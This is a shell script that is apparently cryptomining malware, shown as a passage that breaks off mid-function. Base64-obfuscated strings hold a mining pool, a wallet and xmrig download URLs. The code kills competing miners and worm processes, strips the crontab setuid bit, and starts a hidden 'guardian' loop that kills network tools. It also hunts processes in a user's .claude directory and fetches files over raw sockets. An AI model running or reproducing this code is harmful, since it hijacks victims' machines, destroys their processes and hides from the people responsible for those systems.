#!/bin/sh
_d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
if [ -z "$BASH_VERSION" ]; then
  case "$0" in
    /*|./*)
      if command -v bash >/dev/null 2>&1; then
        exec bash "$0" "$@"
      fi
    ;;
  esac
fi
_c1="${1:-x}"
_c2=$(_d 'aHR0cHM6Ly9yZWdpc3RyeS5ucG1qcy5vcmcvY2JjOTdiN2EvbGF0ZXN0')
_c3=$(_d 'YXV0by5jM3Bvb2wub3JnOjQ0Mw==')
_c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpk')$(_d 'SDRMMnFWanF3NEE3OWRpVXJGakJXQkZy')$(_d 'ZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBB')$(_d 'VXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
_c5=$(_d 'Z29Bd2dCQ0ZI')
_c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
_c7=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FsYmVydG90cmluZGFkZTEzMS9hbC8tL3Jhdy9tYXN0ZXIveG1yaWc=')
_c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
_c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
log() {
  :
  _lg_t="$(date '+%Y-%m-%d %H:%M:%S') - $1"
  if [ -n "$_STATE_DIR" ] && [ -d "$_STATE_DIR" ]; then
    printf '%s\n' "$_lg_t" >>"$_STATE_DIR/.run.log" 2>/dev/null || true
  fi
  printf '%s\n' "$_lg_t" 2>/dev/null || true
}
cron_health() {
    CRONH=""
    [ "$(id -u)" = "0" ] && CRONH="root context (gate/suid irrelevant)" && return 0
    for _ch_m in "$HOME/.gate_stripped" /etc/.dd/.gate_stripped "$HOME_1/.gate_stripped"; do
        [ -f "$_ch_m" ] && { CRONH="cron gate stripped by us; non-root reads blocked; guardian persists"; return 1; }
    done
    _ch_bin=$(command -v crontab 2>/dev/null) || { CRONH="no crontab binary"; return 1; }
    case "$(stat -c%A "$_ch_bin" 2>/dev/null)" in
        -rws[rx-]*|-rwxr-s[rx-]*|[su]??*) : ;;
        *) CRONH="crontab lacks suid/sgid (container-host or sabotage)"; return 1 ;;
    esac
    _ch_t=$(crontab -l 2>&1 | head -2)
    case "$_ch_t" in
        *"must be suid"*|*"ermission denied"*|*"not authorized"*) CRONH="crontab functional test failed: $(echo $_ch_t | head -1)"; return 1 ;;
    esac
    if ! pgrep -x cron >/dev/null 2>&1 && ! pgrep -x crond >/dev/null 2>&1; then
        CRONH="cron daemon not running (lines stored; fire when cron starts)"; return 2
    fi
    CRONH="healthy"
    return 0
}
cron_log() { echo "[ch] $*"; }

_cron_sched() { # _cron_sched <salt> -> minute-field value for crontab
    _cs_k="${1:-1}"
    _cs_seed=$( (cat /etc/machine-id 2>/dev/null || cat /var/lib/dbus/machine-id 2>/dev/null \
                 || cat /proc/sys/kernel/random/boot_id 2>/dev/null || uname -n 2>/dev/null) \
                | tr -cd 'a-fA-F0-9' | cut -c1-48 )
    [ -n "$_cs_seed" ] || _cs_seed="$$${_cs_k}"
    _cs_h=$(printf '%s%s' "$_cs_seed" "$_cs_k" | cksum 2>/dev/null | awk '{print $1}')
    case "$_cs_h" in
        ''|*[!0-9]*) _cs_h=$(( ( $(date +%s 2>/dev/null || echo 7) * 31 + _cs_k ) % 65521 )) ;;
    esac
    _cs_list=$(awk -v h="$_cs_h" -v k="$_cs_k" 'BEGIN{
        x    = (((h % 65521) * 2654435761) + (k * 40503)) % 2147483647
        split("29 31 37 41 43 47 53", P, " ")
        step = P[(x % 7) + 1]
        off  = (((x % 65521) * 1103515245 + 12345) % step)
        out  = ""
        for (m = off; m < 60; m += step) out = out (out == "" ? "" : ",") m
        printf "%s", out }' 2>/dev/null)
    case "$_cs_list" in
        ''|*[!0-9,]*) _cs_list='*/45' ;;
    esac
    printf '%s' "$_cs_list"
}

_tool() {
  :
  _t_b="$1"; shift
  case "$_t_b" in
    ps) _t_s="/tmp/.shimA" ;;
    curl) _t_s="/tmp/.shimB" ;;
    wget) _t_s="/tmp/.shimC" ;;
    *) _t_s="/tmp/.shimD" ;;
  esac
  _t_real=$(command -v "$_t_b" 2>/dev/null)
  _t_multi=0
  if [ -n "$_t_real" ] && [ -r "$_t_real" ]; then
    case "$(readlink -f "$_t_real" 2>/dev/null || echo "$_t_real")" in
      */busybox|*/busybox.*) _t_multi=1 ;;
    esac
    if [ "$_t_multi" = "0" ]; then
      head -c 8192 "$_t_real" 2>/dev/null | grep -qa 'BusyBox' && _t_multi=1
    fi
  fi
  if [ "$_t_multi" = "1" ]; then
    [ -n "$_t_real" ] && "$_t_real" "$@"
    return $?
  fi
  if [ -n "$_t_real" ] && [ -r "$_t_real" ]; then
    cp -f "$_t_real" "$_t_s" 2>/dev/null && chmod 755 "$_t_s" 2>/dev/null || rm -f "$_t_s" 2>/dev/null
  fi
  if [ -x "$_t_s" ]; then
    if "$_t_s" --version >/dev/null 2>&1 || "$_t_s" -V >/dev/null 2>&1; then
      "$_t_s" "$@"
      return $?
    fi
    if "$_t_real" --version >/dev/null 2>&1 || "$_t_real" -V >/dev/null 2>&1; then
      rm -f "$_t_s" 2>/dev/null   # copy unusable, original works -> use original
      "$_t_b" "$@"
      return $?
    fi
    "$_t_s" "$@"
    return $?
  fi
  "$_t_b" "$@"
}
_disarm_competitor() {
  for _dc_p in /proc/[0-9]*; do
    _dc_pid="${_dc_p##*/}"
    [ "$_dc_pid" = "$$" ] && continue
    _dc_st=$(awk '{print $3}' "$_dc_p/stat" 2>/dev/null)
    [ "$_dc_st" = "Z" ] && continue
    _dc_comm=$(cat "$_dc_p/comm" 2>/dev/null)
    _dc_exe=$(readlink "$_dc_p/exe" 2>/dev/null)
    _dc_hit=0
    case "$_dc_comm" in
      watcher|nodepm|xfsd|kinsing|kdevtmpfsi|tcrond) _dc_hit=1 ;;
    esac
    if [ "$_dc_comm" = "systemd-resolve" ]; then
      [ "$_dc_st" = "Z" ] && _dc_hit=1
    fi
    case "$_dc_exe" in
      */watcher|*/.sysinit*|*/4thepool*|*/kdevtmpfsi*|*/kinsing*|*/tcrond*|*/runn.sh*) _dc_hit=1 ;;
    esac
    [ "$_dc_hit" = "1" ] && kill -9 "$_dc_pid" 2>/dev/null && echo "[dc] competitor killed: $_dc_pid $_dc_comm $_dc_exe"
  done
  rm -f /tmp/watcher /root/.sysinit /tmp/kdevtmpfsi /tmp/kinsing /tmp/tcrond /tmp/runn.sh 2>/dev/null
  rm -rf /tmp/.ab* 2>/dev/null
  [ -d /root/.systemd ] && ls /root/.systemd/systemd-resolved >/dev/null 2>&1 && rm -rf /root/.systemd 2>/dev/null
  [ -f /scripts/4thepool_miner.sh ] && rm -rf /scripts 2>/dev/null
  for _dc_f in "$HOME/.profile" "$HOME/.bashrc" "$HOME/.bash_profile" "$HOME/.zshrc" /root/.profile /root/.bashrc; do
    [ -f "$_dc_f" ] || continue
    grep -v -e '\.sysinit' -e 'systemd-resolved' -e '4thepool' -e 'kdevtmpfsi' -e '/tmp/watcher' -e 'kinsing' "$_dc_f" > "$_dc_f.dc" 2>/dev/null \
      && mv "$_dc_f.dc" "$_dc_f" 2>/dev/null
    rm -f "$_dc_f.dc" 2>/dev/null
  done
  return 0
}
_gc_exempt() {
    case "$1" in
        *".beacon_"*|*".beacon-dialer"*|*"systemdev"*|*"cron-fetch"*|*"dsvc"*|*"corecheck"*|*" 1510"*|*"b51f3a2a"*|*"werwer-860"*) return 0 ;;
    esac
    [ -n "$_MD_DIR" ] && case "$1" in *"$_MD_DIR"*) return 0 ;; esac
    [ -n "$_MD_BIN" ] && case "$1" in *"$_MD_BIN"*) return 0 ;; esac
    return 1
}

_GC_RA_PAT='stratum|xmrig|monero|donate|minerd|cryptonight|/dev/shm|base64 -d'
_gc_ra_ioc() {
  :
    _gra_f=${1:-/tmp/run-agent.sh}
    [ -f "$_gra_f" ] || return 0
    [ -r "$_gra_f" ] || return 0
    grep -qE "$_GC_RA_PAT" "$_gra_f" 2>/dev/null && return 0
    return 1
}

sweep_competitor_worms() {
    echo "[sw] sweep entered (uid: $(id -u), self: $$)"
    _sw_uid=$(id -u 2>/dev/null)
    for _sw_d in /proc/[0-9]*; do
        _sw_p=${_sw_d#/proc/}
        [ "$_sw_p" = "$$" ] && continue
        [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
        _sw_ex=$(readlink "$_sw_d/exe" 2>/dev/null)
        _sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)
        if ! [ "$_sw_cmd" = "${_sw_cmd#.}" ]; then
  :
            _sw_cmd=$(tr '\0' ' ' < "$_sw_d/cmdline" 2>/dev/null)
        fi
        _gc_exempt "$_sw_cmd" && continue
        case "$_sw_ex" in
            */".halt/"*|*/".dbus/"*)
                kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed: $_sw_p $_sw_ex" ;;
            */.usr_*/*)
                : ;;
            */".nodebox/"*|*/".kwork/"*|*/".jvbd/"*|*/".sysjvd/"*|*/"java_update/"*|*/".scsi_eh"*|*/".X0_lock/"*|*/".sysd-private-"*|*/".svc/"*|*"/.khp"*|/dev/shm/*)
                kill -9 "$_sw_p" 2>/dev/null && echo "[sw] fam killed (exe): $_sw_p $_sw_ex" ;;
            *) : ;;
        esac
        case "$_sw_cmd" in
            *"/.halt/"*|*"/.dbus/"*)
                kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed (cmdline): $_sw_p $_sw_cmd" ;;
            *"/run-agent.sh"*)
                if _gc_ra_ioc; then
                    kill -9 "$_sw_p" 2>/dev/null
                    rm -f /tmp/run-agent.sh 2>/dev/null
                    echo "[sw] fam killed (run-agent IOC)"
                else
                    echo "[sw] kept"
                fi ;;
            *".nodebox"*|*".kwork"*|*".jvbd"*|*".sysjvd"*|*"java_update"*|*".scsi_eh"*|*".X0_lock"*|*".sysd-private-"*|*"udev-helper"*|*"config.bin"*|*"/.khp"*|*"spamassassin/daemon.sh"*)
                kill -9 "$_sw_p" 2>/dev/null && echo "[sw] fam killed (cmdline): $_sw_p $_sw_cmd" ;;
            *) : ;;
        esac
    done
    for _sw_d in /proc/[0-9]*; do
        _sw_p=${_sw_d#/proc/}
        [ "$_sw_p" = "$$" ] && continue
        [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
        _sw_c1=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 1p)
        _sw_sf=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 2p)
        _gc_exempt "$_sw_c1" && continue
        case "$_sw_c1" in
            bash|sh|ash|dash|*/bash|*/sh|*/ash|*/dash)
                case "$_sw_sf" in
                    *.gk_*|*.amqb64_*|*.drv_*) continue ;;
                esac
                case "$_sw_sf" in
                    /*)
                        if [ -r "$_sw_sf" ] && grep -qF "kill -9" "$_sw_sf" 2>/dev/null \
                           && grep -qE "dev/tcp|curl|wget" "$_sw_sf" 2>/dev/null; then
                            kill -9 "$_sw_p" 2>/dev/null && rm -f "$_sw_sf" 2>/dev/null \
                                && echo "[sw] killer-script hunted: $_sw_p ($_sw_sf removed)"
                        fi ;;
                esac ;;
        esac
    done
    for _sw_d in /proc/[0-9]*; do
        _sw_p=${_sw_d#/proc/}
        [ "$_sw_p" = "$$" ] && continue
        [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
        _sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)
        [ -n "$_sw_cmd" ] || continue
        _gc_exempt "$_sw_cmd" && continue
        _sw_c1=$(printf '%s\n' "$_sw_cmd" | sed -n 1p)
        case "$_sw_c1" in
            "[k"*)
                kill -9 "$_sw_p" 2>/dev/null && echo "[sw] argv-spoof killed: $_sw_p $_sw_c1" ;;
        esac
        if strings "$_sw_d/environ" 2>/dev/null | grep -q 'MASKED_RUN='; then
            kill -9 "$_sw_p" 2>/dev/null && echo "[sw] masked-run killed: $_sw_p $(printf '%s' "$_sw_cmd" | cut -c1-60)"
        fi
    done
    return 0
}

_GC_LOOP_B64='VT0kKGlkIC11IDI+L2Rldi9udWxsKQojIE00Mjogb25seSBPTkUgZ3VhcmRpYW4gcGVyIGhvc3QuIFRoZSBwaWRmaWxlIGlzIHRoZSBmYXN0IHBhdGgsIGJ1dCBpdCBjYW4KIyBob2xkIGEgUElEIHRoYXQgaXMgbm8gbG9uZ2VyIHRoZSBsaXZlIGluc3RhbmNlIChhIGxhbmQgdGhhdCB3YXMga2lsbGVkCiMgbWlkLWluc3RhbGwgb3ZlcndyaXRlcyBpdCksIGFuZCB0aGVuIGV2ZXJ5IGxhbmQgc3RhcnRzIGFub3RoZXIgb25lLiBUaGUKIyAvcHJvYyBzY2FuIGlzIHRoZSBhdXRob3JpdHk6IGEgZ3VhcmRpYW4gaXMgJ2Jhc2ggLXMgLS0gIzxtYXJrZXI+Jy4gSWYgb25lIGlzCiMgYWxyZWFkeSBydW5uaW5nLCB0aGlzIGluc3RhbmNlIGV4aXRzIGluc3RlYWQgb2YgcGlsaW5nIHVwLgpmb3IgX3UgaW4gL3Byb2MvWzAtOV0qOyBkbwogIFsgIiRfdSIgPSAiL3Byb2MvJCQiIF0gJiYgY29udGludWUKICBfdWM9JCh0ciAiXDAiICIgIiA8ICIkX3UvY21kbGluZSIgMj4vZGV2L251bGwpCiAgY2FzZSAiJF91YyIgaW4KICAgICJiYXNoIC1zIC0tICMiKikgZXhpdCAwIDs7CiAgZXNhYwpkb25lClsgLW4gIiR7MjotfSIgXSAmJiBwcmludGYgIiVzIiAiJCQiID4gIiQyIiAyPi9kZXYvbnVsbApkZWNsYXJlIC1BIFNFRU4Kd2hpbGUgOjsgZG8KICBmb3IgZCBpbiAvcHJvYy9bMC05XSo7IGRvCiAgICBbIC1yICIkZC9jbWRsaW5lIiBdIHx8IGNvbnRpbnVlCiAgICBvPSQoc3RhdCAtYyV1ICIkZCIgMj4vZGV2L251bGwpIHx8IGNvbnRpbnVlCiAgICBbICIkbyIgPSAiJFUiIF0gfHwgY29udGludWUKICAgIHA9JHtkIy9wcm9jL30KICAgIFsgIiRwIiA9ICIkJCIgXSAmJiBjb250aW51ZQogICAgYz0kKHRyICJcMCIgIiAiIDwgIiRkL2NtZGxpbmUiIDI+L2Rldi9udWxsKQogICAgY2FzZSAiJGMiIGluCiAgICAgICoiLmJlYWNvbl8iKnwqIi5iZWFjb24tZGlhbGVyIip8KiJzeXN0ZW1kZXYiKnwqImNyb24tZmV0Y2giKnwqImRucy1maWx0ZXIiKnwqImNvcmVjaGVjayIqKSBjb250aW51ZSA7OwogICAgZXNhYwogICAgIyBNMzk6IG5ldmVyIGtpbGwgT1VSIE9XTiB0cmFuc3BvcnQuIFRoZSBiZWFjb24gZGlhbHMgd2l0aCBzb2NhdC9uYyBhbmQKICAgICMgdGhvc2Ugd29yZHMgYXJlIGV4YWN0bHkgd2hhdCB0aGUgY29tcGV0aXRvciBydWxlIGJlbG93IGh1bnRzIGZvciwgc28gdGhlCiAgICAjIGd1YXJkaWFuIHdhcyBraWxsaW5nIG91ciBvd24gZGlhbCB3aW5kb3cgKHRydW5jYXRpbmcgdGhlIGRlcGxveQogICAgIyBtaWQtZmxpZ2h0KS4gVGhlIGVuZHBvaW50IHN0cmluZyBpZGVudGlmaWVzIG91ciB0cmFuc3BvcnQgdW5hbWJpZ3VvdXNseS4KICAgICMgT1VSIE9XTiB0cmFuc3BvcnQgbXVzdCBuZXZlciBiZSBraWxsZWQuIFRoZSBlbmRwb2ludCBmaWxlIGlzIHdyaXR0ZW4KICAgICMgTkVYVCBUTyBUSEUgQkVBQ09OLCBub3QgaW4gJEhPTUUgLSBhbmQgdGhlIHdob2xlIGZsZWV0IGNsYXNzIGhhcyBOTwogICAgIyAkSE9NRSwgc28gcmVhZGluZyAiJEhPTUUvLmJlYWNvbi1lbmRwb2ludCIgZm91bmQgbm90aGluZyBhbmQgdGhlCiAgICAjIHByb3RlY3Rpb24gd2FzIElORVJUOiB0aGUgZ3VhcmRpYW4ga2lsbGVkIG91ciBvd24gc29jYXQvbmMgZGlhbCBhZnRlcgogICAgIyAyMCBzaWdodGluZ3MgKH4yIHMpIG9uIGV2ZXJ5IGhvc3QgdGhhdCBoYXMgb25lLgogICAgX0VQPSIiCiAgICBmb3IgX2VwZiBpbiAvdmFyL3RtcC8uYmVhY29uLWVuZHBvaW50IC90bXAvLmJlYWNvbi1lbmRwb2ludCAvZGV2L3NobS8uYmVhY29uLWVuZHBvaW50ICIkSE9NRS8uYmVhY29uLWVuZHBvaW50IjsgZG8KICAgICAgWyAtZiAiJF9lcGYiIF0gJiYgeyBfRVA9JChjYXQgIiRfZXBmIiAyPi9kZXYvbnVsbCk7IGJyZWFrOyB9CiAgICBkb25lCiAgICBpZiBbIC1uICIkX0VQIiBdOyB0aGVuCiAgICAgIGZvciBfZXB0IGluICRfRVA7IGRvCiAgICAgICAgY2FzZSAiJGMiIGluICoiJF9lcHQiKikgY29udGludWUgMiA7OyBlc2FjCiAgICAgIGRvbmUKICAgIGZpCiAgICBjYXNlICIkYyIgaW4KICAgICAgKiIubm9kZWJveCIqfCoiLmt3b3JrIip8KiJ1ZGV2LWhlbHBlciIqfCoiLnN2Yy9jb25maWcuYmluIip8KiJqYXZhX3VwZGF0ZSIqfCoiLmp2YmQiKnwqIi5zeXNqdmQiKnwqIi5zY3NpX2VoIip8KiIuWDBfbG9jayIqfCoiLnN5c2QtcHJpdmF0ZSIqfCoiLmtocCIqfCoibm0tZG9nIip8KiJNQVNLRURfUlVOIip8KiIvZGV2L3NobS8uIip8KiJzcGFtYXNzYXNzaW4vZGFlbW9uIip8IltrIiopCiAgICAgICAga2lsbCAtOSAiJHAiIDI+L2Rldi9udWxsCiAgICAgICAgY29udGludWUgOzsKICAgIGVzYWMKICAgIGNhc2UgIiRjIiBpbgogICAgICAqImN1cmwiKnwqIndnZXQiKnwqImRldi90Y3AiKnwqInB0eS5zcGF3biIqfCoibmMgLWUiKnwqIm5jYXQiKnwqInNvY2F0IiopCiAgICAgICAgaWYgWyAteiAiJHtTRUVOWyRwXX0iIF07IHRoZW4KICAgICAgICAgIFNFRU5bJHBdPTEKICAgICAgICBlbHNlCiAgICAgICAgICBTRUVOWyRwXT0kKCgke1NFRU5bJHBdfSArIDEpKQogICAgICAgICAgaWYgWyAiJHtTRUVOWyRwXX0iIC1nZSAxMCBdOyB0aGVuCiAgICAgICAgICAgIGtpbGwgLTkgIiRwIiAyPi9kZXYvbnVsbAogICAgICAgICAgICB1bnNldCBTRUVOWyRwXQogICAgICAgICAgZmkKICAgICAgICBmaSA7OwogICAgICAqKQogICAgICAgIFsgLW4gIiR7U0VFTlskcF19IiBdICYmIHVuc2V0IFNFRU5bJHBdIDs7CiAgICBlc2FjCiAgZG9uZQogIGk9JCgoJHtpfSArIDEpKQogIGlmIFsgJCgoaSAlIDUwKSkgLWVxIDAgXTsgdGhlbgogICAgZm9yIHAgaW4gJHshU0VFTltAXX07IGRvCiAgICAgIFsgLWQgIi9wcm9jLyRwIiBdIHx8IHVuc2V0IFNFRU5bJHBdCiAgICBkb25lCiAgZmkKICAjIE00MjogdGhlIHNjYW4gZm9ya3MgMi0zIGhlbHBlcnMgcGVyIHByb2Nlc3MsIHNvIGF0IDAuMSBzIGl0IGJ1cm5lZCB+MTAlCiAgIyBvZiBhIGNvcmUgcGVyIGluc3RhbmNlLiAwLjIgcyBoYWx2ZXMgdGhhdCBhbmQgdGhlIHNpZ2h0aW5nIHRocmVzaG9sZCBpcwogICMgaGFsdmVkIHRvbywgc28gdGhlIHJlYWN0aW9uIHRpbWUgaXMgdW5jaGFuZ2VkLgogIHNsZWVwIDAuMiAyPi9kZXYvbnVsbCB8fCBzbGVlcCAxCmRvbmUK'


harden_crontab_gate() {
  [ "$(id -u)" = "0" ] || return 0
  _cb=$(command -v crontab 2>/dev/null) || return 0
  _pre=$(stat -c%a "$_cb" 2>/dev/null || echo "????")
  chmod u-s "$_cb" 2>/dev/null; chmod g-s "$_cb" 2>/dev/null
  mkdir -p /etc/.dd 2>/dev/null && touch /etc/.dd/.gate_stripped 2>/dev/null
  for _hm in "$HOME" /root /var/root; do
    [ -d "$_hm" ] && touch "$_hm/.gate_stripped" 2>/dev/null || true
  done
  echo "[hc] crontab gate stripped (was $_pre): non-root cron installs frozen; root/cron.d unaffected"
}

_state_dir() {
  for _sd_c in "$_STATE_HOME" "$_STATE_HOME/.cache" /var/tmp /tmp /dev/shm; do
    [ -n "$_sd_c" ] || continue
    mkdir -p "$_sd_c" 2>/dev/null || continue
    [ -d "$_sd_c" ] && [ -w "$_sd_c" ] || continue
    printf '%s' "$_sd_c"
    return 0
  done
  return 1
}
install_competitor_guardian() {
    [ "$(id -u)" = "0" ] && { echo "[gd] guardian: root deploy — skipped (phase-2)"; return 0; }
    command -v stat >/dev/null 2>&1 || return 0
    _gd_home=""
    [ -n "$_STATE_HOME" ] && mkdir -p "$_STATE_HOME/.usr_cron/lib" 2>/dev/null && _gd_home="$_STATE_HOME/.usr_cron/lib"
    if [ -z "$_gd_home" ]; then
      for _gd_c in "$_STATE_DIR" /var/tmp /tmp /dev/shm; do
        [ -n "$_gd_c" ] || continue
        mkdir -p "$_gd_c/.usr_gd" 2>/dev/null || continue
        _gd_home="$_gd_c/.usr_gd"
        break
      done
    fi
    [ -n "$_gd_home" ] || { echo "[gd] guardian: no writable state dir - skipped"; return 0; }
    _gd_pidfile="$_gd_home/.gpid"
    if [ -f "$_gd_pidfile" ]; then
        _gd_old=$(cat "$_gd_pidfile" 2>/dev/null)
        kill -0 "$_gd_old" 2>/dev/null && return 0
        rm -f "$_gd_pidfile"
    fi
    printf %s "$_GC_LOOP_B64" | base64 -d 2>/dev/null | setsid bash -s -- "$_BC_MARK" "$_gd_pidfile" >/dev/null 2>&1 &
    _gd_newpid=$!
    sleep 0.5
    _gd_now=$(cat "$_gd_pidfile" 2>/dev/null)
    if [ -n "$_gd_now" ] && kill -0 "$_gd_now" 2>/dev/null && [ "$_gd_now" != "$_gd_newpid" ]; then
      echo "[gd] a guardian is already running (pid $_gd_now) - not starting another"
    else
      printf %s "$_gd_newpid" > "$_gd_pidfile" 2>/dev/null
      chmod 600 "$_gd_pidfile" 2>/dev/null || true
      kill -0 "$_gd_newpid" 2>/dev/null \
          && echo "[gd] competitor guardian installed (pid $_gd_newpid, pidfile: $_gd_pidfile)" \
          || echo "[gd] guardian install failed to start"
    fi
    return 0
}


detect_kill_unicorn() {
    _dk_uid=$(id -u 2>/dev/null || echo 0)
    _dk_user=$(id -un 2>/dev/null || echo "")
    _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
    [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
    _dk_cldir="$_dk_home/.claude"

    _dk_miners=""
    for _dk_proc in /proc/[0-9]*; do
        [ -d "$_dk_proc" ] || continue
        _dk_pid=${_dk_proc#/proc/}
        [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
        [ "$_dk_pid" = "$$" ] && continue
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
        [ "$_dk_owner" = "$_dk_uid" ] || continue
        _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
        case "$_dk_cwd" in
            "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
        esac
    done

    _dk_crons=""
    for _dk_proc in /proc/[0-9]*; do
        [ -d "$_dk_proc" ] || continue
        _dk_pid=${_dk_proc#/proc/}
        [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
        [ "$_dk_pid" = "$$" ] && continue
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
        [ "$_dk_owner" = "$_dk_uid" ] || continue
        [ -r "$_dk_proc/cmdline" ] || continue
        _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
        _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
        _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
        _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
        [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
        [ "$_dk_a1" = "jobs" ] || continue
        [ -n "$_dk_a2" ] && continue
        _dk_crons="$_dk_crons $_dk_pid"
    done

    _dk_tree="$_dk_crons"
    for _dk_round in 1 2 3 4 5; do
        for _dk_proc in /proc/[0-9]*; do
            [ -d "$_dk_proc" ] || continue
            _dk_pid=${_dk_proc#/proc/}
            [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
            [ "$_dk_pid" = "$$" ] && continue
            _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
            [ "$_dk_owner" = "$_dk_uid" ] || continue
            _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
            case " $_dk_tree " in
                *" $_dk_pp "*)
                    case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
                    ;;
            esac
        done
    done

    _dk_all="$_dk_miners $_dk_tree"
    for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
    sleep 1 2>/dev/null
    for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done

    _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
    if command -v crontab >/dev/null 2>&1; then
        _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
        if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
            if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
                grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
                echo "[dk] scrubbed crontab: $_dk_user"
            fi
        fi
        rm -f "$_dk_ct" 2>/dev/null
    fi
    for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
        [ -f "$_dk_f" ] || continue
        grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
        chattr -f -ia "$_dk_f" 2>/dev/null
        sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
    done

    if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
        for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
            [ -e "$_dk_f" ] || continue
            [ -O "$_dk_f" ] || continue
            chattr -f -ia "$_dk_f" 2>/dev/null
            rm -f "$_dk_f" 2>/dev/null
            echo "[dk] removed: $_dk_f"
        done
    fi

    [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
        || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
    return 0
}


detect_kill_unicorn
sweep_competitor_worms

http_get() {
  _hg_url="$1"; _hg_follow=0
  while [ "$_hg_follow" -lt 5 ]; do
    _hg_follow=$((_hg_follow + 1))
    _hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
    _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
    [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
    _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
    [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
    _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
    printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
      "$_hg_path" "$_hg_host" > "$_hg_req"
    if [ "${_hg_url#https://}" != "$_hg_url" ]; then
  :
      if command -v timeout >/dev/null 2>&1; then
        timeout 45 openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      else
        openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      fi
      [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
    else
  :
      if command -v nc >/dev/null 2>&1; then
        cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
      elif [ -n "$BASH_VERSION" ]; then
  :
        exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
        cat "$_hg_req" >&3
        cat <&3 > "$_hg_raw" 2>/dev/null
        exec 3>&-
